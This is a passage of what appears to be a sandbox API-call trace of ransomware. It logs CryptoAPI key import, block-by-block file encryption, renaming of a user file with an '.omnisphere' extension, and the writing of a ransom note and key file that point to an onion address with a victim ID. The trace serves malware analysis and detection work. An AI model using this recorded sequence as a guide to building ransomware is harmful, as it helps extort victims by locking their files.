GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.496] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] GetTickCount () returned 0x115fcfa [0127.497] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f88) returned 1 [0127.497] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0127.498] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.498] CryptDestroyKey (hKey=0x16396a8) returned 1 [0127.498] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0127.498] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ce, lpName=0x0) returned 0x288 [0127.498] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ce) returned 0x1480000 [0127.498] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0127.499] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0127.499] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.502] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.502] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.502] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.502] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3ce, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.502] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.502] GetProcessHeap () returned 0x1600000 [0127.502] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b6) returned 0x16f3460 [0127.502] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yR2XIoXCvmYLDc.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yr2xioxcvmyldc.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yR2XIoXCvmYLDc.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yr2xioxcvmyldc.lnk.omnisphere")) returned 1 [0127.503] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yR2XIoXCvmYLDc.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yR2XIoXCvmYLDc.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yR2XIoXCvmYLDc.lnk.omnisphere.id" [0127.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yR2XIoXCvmYLDc.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yr2xioxcvmyldc.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.503] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.504] CloseHandle (hObject=0x3c0) returned 1 [0127.504] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.504] CloseHandle (hObject=0x288) returned 1 [0127.504] SetEndOfFile (hFile=0x28c) returned 1 [0127.505] FlushFileBuffers (hFile=0x28c) returned 1 [0127.507] CloseHandle (hObject=0x28c) returned 1 [0127.507] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yR2XIoXCvmYLDc.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.507] GetProcessHeap () returned 0x1600000 [0127.507] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.508] GetProcessHeap () returned 0x1600000 [0127.508] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1938 [0127.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1938, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.508] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.508] GetProcessHeap () returned 0x1600000 [0127.508] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8428 [0127.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8428, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.508] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.508] GetProcessHeap () returned 0x1600000 [0127.508] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f6438 [0127.508] PathCombineW (in: pszDest=0x16f6438, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.508] GetProcessHeap () returned 0x1600000 [0127.508] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1705cf8 [0127.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.508] WriteFile (in: hFile=0x28c, lpBuffer=0x1705cf8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1705cf8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.509] CloseHandle (hObject=0x28c) returned 1 [0127.509] GetProcessHeap () returned 0x1600000 [0127.509] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.509] GetProcessHeap () returned 0x1600000 [0127.509] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e628 [0127.509] PathCombineW (in: pszDest=0x162e628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.509] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.509] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.509] CloseHandle (hObject=0x28c) returned 1 [0127.509] GetProcessHeap () returned 0x1600000 [0127.509] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e628 | out: hHeap=0x1600000) returned 1 [0127.509] GetProcessHeap () returned 0x1600000 [0127.509] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.509] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de0a783, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1de0a783, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1de0a783, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x633, dwReserved0=0x0, dwReserved1=0xd3, 